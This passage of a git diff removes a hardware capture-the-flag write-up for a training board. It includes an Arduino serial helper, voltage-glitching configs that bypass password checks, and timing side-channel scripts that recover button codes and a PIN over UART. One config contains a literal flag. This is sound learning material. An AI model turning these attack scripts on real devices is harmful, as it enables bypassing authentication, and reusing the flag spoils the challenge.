-if __name__ == "__main__":
- main()
diff --git a/Misc/12Sec_CTF_V1/docs/arduinIO.py b/Misc/12Sec_CTF_V1/docs/arduinIO.py
deleted file mode 100644
index 704d31d..0000000
--- a/Misc/12Sec_CTF_V1/docs/arduinIO.py
+++ /dev/null
@@ -1,228 +0,0 @@
-"""
-=====================================================================
-ARDUINO SERIAL CONTROLLER CLASS (PYTHON)
-=====================================================================
-Version: 1.3.0
-Author: [Your Name]
-
-DESCRIPTION
----------------------------------------------------------------------
-This module provides a class-based interface to communicate with
-the Arduino Serial Pin Control and Monitoring Firmware v1.3.0.
-
-It supports all implemented serial commands including:
-- Version retrieval
-- Dynamic pin mode configuration
-- Pin map querying
-- Output control (default state, timed pulse)
-- Input monitoring and state reading
-- Duration measurement and blocking wait
-
-=====================================================================
-DEPENDENCIES
----------------------------------------------------------------------
-- pyserial (install with: pip install pyserial)
-
-=====================================================================
-EXAMPLE USAGE
----------------------------------------------------------------------
-from arduino_controller import ArduinoController
-import time
-
-# Create controller instance
-arduino = ArduinoController(port="COM3", baudrate=115200)
-
-# Connect and initialise
-arduino.connect()
-print("Version:", arduino.get_version())
-
-# Configure pins
-arduino.set_mode(2, "INPUT")
-arduino.set_mode(8, "OUTPUT")
-arduino.set_mode(9, "OUTPUT")
-arduino.set_mode(10, "OUTPUT")
-arduino.set_mode(11, "OUTPUT")
-
-print("Pin map:", arduino.get_pinmap())
-
-# Set outputs low, pulse one pin, monitor input
-arduino.set_default(8, "LOW")
-arduino.set_default(9, "LOW")
-arduino.set_default(10, "LOW")
-arduino.set_default(11, "LOW")
-
-arduino.set_for(8, "HIGH", 300)
-arduino.watch(2)
-
-# Read input state and duration
-state = arduino.get_state(2)
-duration = arduino.get_duration(2)
-print(f"Pin 2 state: {state}, duration since change: {duration} ms")
-
-# Wait for a state change to HIGH
-arduino.wait_for(2, "HIGH")
-
-# Disconnect
-arduino.disconnect()
-=====================================================================
-"""
-
-import serial
-import time
-
-
-class ArduinoController:
- """Provides a structured interface for Arduino serial control."""
-
- def __init__(self, port, baudrate=115200, timeout=1.0):
- self.port = port
- self.baudrate = baudrate
- self.timeout = timeout
- self.ser = None
-
- # -------------------------------------------------------------
- # Connection management
- # -------------------------------------------------------------
- def connect(self):
- """Establish serial connection and wait for READY signal."""
- self.ser = serial.Serial(self.port, self.baudrate, timeout=self.timeout)
- time.sleep(2) # Allow Arduino reset
- while True:
- line = self._read_line()
- if line == "READY":
- break
-
- def disconnect(self):
- """Close serial connection cleanly."""
- if self.ser and self.ser.is_open:
- self.ser.close()
-
- # -------------------------------------------------------------
- # Internal communication utilities
- # -------------------------------------------------------------
- def _send_command(self, command, expect_response=True):
- """Send a command string to the Arduino."""
- if not self.ser or not self.ser.is_open:
- raise ConnectionError("Serial connection not established.")
- self.ser.write((command + "\n").encode("utf-8"))
- if expect_response:
- return self._read_line()
- return None
-
- def _read_line(self):
- """Read a single line from serial and strip whitespace."""
- line = self.ser.readline().decode("utf-8").strip()
- return line
-
- # -------------------------------------------------------------
- # Core command wrappers
- # -------------------------------------------------------------
- def get_version(self):
- """Return firmware version."""
- return self._send_command("GET_VERSION")
-
- def set_mode(self, pin, mode):
- """Configure a pin as INPUT or OUTPUT."""
- return self._send_command(f"SET_MODE:{pin}:{mode}")
-
- def get_pinmap(self):
- """Return current pin assignments."""
- return self._send_command("GET_PINMAP")
-
- def set_default(self, pin, state):
- """Set an output pin to a default HIGH or LOW state."""
- return self._send_command(f"SET_DEFAULT:{pin}:{state}")
-
- def set_for(self, pin, state, duration_ms):
- """Set an output pin state for a specific duration (ms)."""
- return self._send_command(f"SET_FOR:{pin}:{state}:{duration_ms}")
-
- def watch(self, pin):
- """Start watching an input pin for state changes."""
- return self._send_command(f"WATCH:{pin}")
-
- def watch_pin(self, pin, duration_ms=2000):
- """
- Activates WATCH mode for a pin and collects CHANGE events for a period.
-
- Args:
- pin (int): Input pin number to watch.
- duration_ms (int): How long to listen for events.
-
- Returns:
- list of dict: [{'pin': int, 'state': str, 'duration_ms': int}, ...]
- """
- # Use the existing _send_command() method
- self._send_command(f"WATCH:{pin}", expect_response=False)
- messages = []
- start = time.time()
-
- while (time.time() - start) * 1000 < duration_ms:
- if self.ser.in_waiting:
- line = self._read_line()
- if line.startswith("CHANGE:"):
- # Example: CHANGE:2:HIGH:1421
- parts = line.split(":")
- if len(parts) == 4:
- try:
- messages.append({
- 'pin': int(parts[1]),
- 'state': parts[2],
- 'duration_ms': int(parts[3])
- })
- except ValueError:
- pass
- time.sleep(0.005)
-
- return messages
-
-
- def get_state(self, pin):
- """Return current state (HIGH or LOW) of a pin."""
- response = self._send_command(f"GET_STATE:{pin}")
- if response.startswith("STATE:"):
- return response.split(":")[2]
- return response
-
- def get_duration(self, pin):
- """Return duration since last state change."""
- response = self._send_command(f"GET_DURATION:{pin}")
- if response.startswith("DURATION:"):
- return int(response.split(":")[2])
- return response
-
- def wait_for(self, pin, state):
- """Block until specified pin reaches given state."""
- response = self._send_command(f"WAIT_FOR:{pin}:{state}")
- if response.startswith("WAIT_RESULT:"):
- _, pin_str, final_state, duration = response.split(":")
- return {"pin": int(pin_str), "state": final_state, "duration_ms": int(duration)}
- return response
-
- # -------------------------------------------------------------
- # Continuous monitoring
- # -------------------------------------------------------------
- def monitor(self, callback=None):
- """
- Continuously read from serial and process change notifications.
- Optionally pass a callback(line) for custom handling.
- """
- print("[INFO] Monitoring started. Press Ctrl+C to stop.")
- try:
- while True:
- line = self._read_line()
- if line:
- if callback:
- callback(line)
- else:
- print(line)
- except KeyboardInterrupt:
- print("\n[INFO] Monitoring stopped.")
-
- # -------------------------------------------------------------
- # Utility
- # -------------------------------------------------------------
- def flush(self):
- """Flush serial input buffer."""
- if self.ser:
- self.ser.reset_input_buffer()
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
deleted file mode 100644
index 2671dec..0000000
--- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
+++ /dev/null
@@ -1,7 +0,0 @@
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 31250
-
diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
deleted file mode 100644
index 0ee78c6..0000000
--- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
+++ /dev/null
@@ -1,44 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', True], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-### name, enabled, string to match ###
-conditions = [
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
deleted file mode 100644
index 1185630..0000000
--- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
+++ /dev/null
@@ -1,108 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', False], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- functions.run_output_low(0, 3000)
- functions.run_output_low(1, 3000)
- functions.run_output_low(2, 3000)
- functions.run_output_low(3, 3000)
-
-def button_ok():
- functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
- functions.set_trigger_value(0, True)
- functions.run_output_low(0, 3000)
-
- last_state = functions.get_trigger_value(0)
- start_time = time.time()
-
- while True:
- current_state = functions.get_trigger_value(0)
-
- # Detect rising edge: 0 → 1
- if last_state == 0 and current_state == 1:
- functions.set_trigger_value(0, False)
- functions.add_text("[code check complete]")
- break
-
- # Exit if 1 second has elapsed
- if time.time() - start_time >= 1.0:
- functions.add_text("[timeout: no input detected within 1 second]")
- break
-
- last_state = current_state
- time.sleep(0.01) # Polling interval (10 ms)
-
-
-def button_dash():
- functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(1, 3000)
-
-def button_space():
- functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(2, 3000)
-
-def button_dot():
- functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(3, 3000)
-
-
-def echo_trigger_state():
- for channel in range(8):
- state = functions.get_trigger_value(channel)
- if state == 1:
- functions.add_text(f"Channel {channel}: HIGH")
- else:
- functions.add_text(f"Channel {channel}: LOW")
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
deleted file mode 100644
index 94c453d..0000000
--- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
+++ /dev/null
@@ -1,155 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- """
- Discover a five-digit code by sending candidate pulses and measuring the
- interval from sending OK (pin 8) until input goes HIGH using wait_for().
-
- For each digit:
- - Send one pulse for previously found digits.
- - Send repeated pulses of the candidate digit to fill 5 pulses.
- - Pulse OK (pin 8) to trigger the device.
- - Measure duration using wait_for() for input HIGH.
- - Select candidate with the longest LOW duration before HIGH.
- """
- candidate_pins = [9, 10, 11]
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
-
- button_ok()
- functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- functions.add_text("[INFO] Starting full code discovery sequence...")
-
- for digit_index in range(5):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
- results = {}
-
- for test_pin in candidate_pins:
- # Build sequence: previously found digits + candidate repeated
- sequence = code_sequence.copy()
- remaining_pulses = 5 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)} ...")
-
- # Send sequence pulses (without timing)
- for pin in sequence:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.1)
-
- # Start timer and pulse OK (pin 8)
- start_time = time.time()
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
-
- # Wait for input to go HIGH and measure duration
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Use the Arduino-provided LOW duration, fallback to timer if needed
- duration = result.get("duration_ms", int((end_time - start_time) * 1000))
- functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
-
- results[test_pin] = duration
- time.sleep(0.3)
-
- # Select candidate with longest duration (correct digit)
- correct_pin = max(results, key=results.get)
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
- code_sequence.append(correct_pin)
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
deleted file mode 100644
index 01de69c..0000000
--- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
+++ /dev/null
@@ -1,152 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
-
- functions.add_text("[INFO] Starting full code discovery sequence")
-
- for digit_index in range(4):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
- results = {}
-
- for test_pin in candidate_pins:
- # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
- sequence = code_sequence.copy()
- remaining_pulses = 4 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)}")
-
- # Send all pulses in the sequence, starting timer immediately before the fourth pulse
- for i, pin in enumerate(sequence):
- if i == len(sequence) - 1:
- # Start timer immediately before sending the fourth pulse
- start_time = time.time()
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- # Allow a short interval for the device to react
- time.sleep(0.05)
- # Wait for the input to go HIGH and capture result
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Safely extract duration from result or compute fallback
- if isinstance(result, dict):
- duration = result.get("duration_ms",
- int((end_time - start_time) * 1000))
- else:
- duration = int((end_time - start_time) * 1000)
-
- functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
- results[test_pin] = duration
- else:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- # small pause between candidates
- time.sleep(0.8)
-
- # Choose the candidate with the longest duration for this digit
- correct_pin = max(results, key=results.get)
- code_sequence.append(correct_pin)
-
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
-
-def stop_glitch():
- functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py
deleted file mode 100644
index f7e8036..0000000
--- a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py
+++ /dev/null
@@ -1,123 +0,0 @@
-import functions
-import threading
-import time
-
-###### Config values ######
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 1000000
-UART_NEWLINE = "\n"
-
-LENGTH = 12
-REPEAT = 1
-DELAY = 0
-
-### name, enabled, string to match ###
-conditions = [
- ['run', True, 'Password:', 'try_glitch'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-###### Custom functions ######
-def try_glitch():
- Len = functions.get_config_value("length")
- Rep = functions.get_config_value("repeat")
- Del = functions.get_config_value("delay")
- time.sleep(0.2)
-
- tx_thread = threading.Thread(
- target=functions.send_uart_message,
- args=("aaaaaaaaaaaaaaaaaaaaa",),
- daemon=True
- )
-
- glitch_thread = threading.Thread(
- target=functions.start_glitch,
- args=(Len, Rep, Del),
- daemon=True
- )
-
- glitch_thread.start()
- tx_thread.start()
-
- try:
- current_delay = int(Del)
- except (ValueError, TypeError):
- current_delay = 0
-
- try:
- current_repeat = int(Rep)
- except (ValueError, TypeError):
- current_repeat = 0
-
- new_delay = current_delay + 1
-
- if new_delay >= 51:
- new_delay = 0
- new_repeat = current_repeat + 1
- if new_repeat >= 20:
- new_repeat = 1
- functions.set_config_value("repeat", new_repeat)
-
- functions.set_config_value("delay", new_delay)
-
-
-def stop_glitch():
- buf = functions.read_uart_buffer()
-
- if "TS{D@mn_y0u_@r3_g006}" in buf:
- functions.start_glitch(16, 1, 0)
- else:
- functions.set_condition_value(0, False)
- functions.set_uart_switch(False)
-
-
-###### Inactivity watchdog ######
-def config_inactivity_monitor(timeout=5):
- """
- Monitor 'delay' and 'repeat' configuration values.
- Restart device if they do not change for 'timeout' seconds
- AND condition 0 remains True.
- """
- # Wait for functions.config to be initialised
- while True:
- try:
- _ = functions.get_config_value("delay")
- break
- except AttributeError:
- print("[Watchdog] Waiting for configuration to initialise...")
- time.sleep(1)
-
- last_delay = functions.get_config_value("delay")
- last_repeat = functions.get_config_value("repeat")
- last_change_time = time.time()
-
- while True:
- try:
- current_delay = functions.get_config_value("delay")
- current_repeat = functions.get_config_value("repeat")
- condition_active = functions.get_condition_value(0)
-
- if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
- last_change_time = time.time()
- last_delay = current_delay
- last_repeat = current_repeat
-
- if condition_active and (time.time() - last_change_time > timeout):
- print("[Watchdog] Inactivity detected. Restarting glitch...")
- functions.start_glitch(16, 1, 0)
- last_change_time = time.time()
-
- except Exception as e:
- print(f"[Watchdog Error] {e}")
-
- time.sleep(1)
-
-
-# Start watchdog thread after slight delay to allow initialisation
-def start_watchdog():
- time.sleep(2) # ensures 'functions.config' is ready
- monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
- monitor_thread.start()
-
-
-threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/Misc/12Sec_CTF_V1/docs/12_solution.py b/Misc/12Sec_CTF_V1/docs/12_solution.py
deleted file mode 100644
index c5188aa..0000000
--- a/Misc/12Sec_CTF_V1/docs/12_solution.py
+++ /dev/null
@@ -1,274 +0,0 @@
-#!/usr/bin/env python3
-"""
-=====================================================================
-UART Timing Analysis PIN Discovery Script (configurable start)
-=====================================================================
-Performs timing-based side-channel analysis to discover an 8-digit PIN
-via UART, using the Arduino I/O controller for synchronised monitoring.
-
-This variant allows pre-setting a starting code (prefix) and the
-starting position index so that discovery may resume part-way through.
-Version: 1.3
-=====================================================================
-"""
-
-import time
-import serial
-from arduinIO import ArduinoController
-
-# ================================================================
-# Configuration
-# ================================================================
-
-###### UART Configuration ######
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 1199
-UART_NEWLINE = "\n"
-
-###### Arduino I/O Configuration ######
-ARDIO_PORT = "/dev/ttyACM0"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-
-###### Analysis Parameters ######
-PIN_LENGTH = 8
-KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
-PAD_CHAR = 'A'
-ATTEMPTS_PER_CANDIDATE = 1
-
-# Optionally set a starting prefix and a starting position.
-# START_CODE is the known prefix (string). It may be empty.
-# START_POS is the zero-based index at which to begin discovery.
-# Example: START_CODE = "253", START_POS = 3 will begin at position 4.
-START_CODE = "" # e.g. "253"
-START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE).
-
-###### Delay Configuration (seconds) ######
-INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate
-SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input
-POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position
-MAX_WAIT_MS = 800 # Maximum wait for input response
-MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms)
-
-# ================================================================
-# Helper Functions
-# ================================================================
-
-def log(msg: str, level: str = "INFO"):
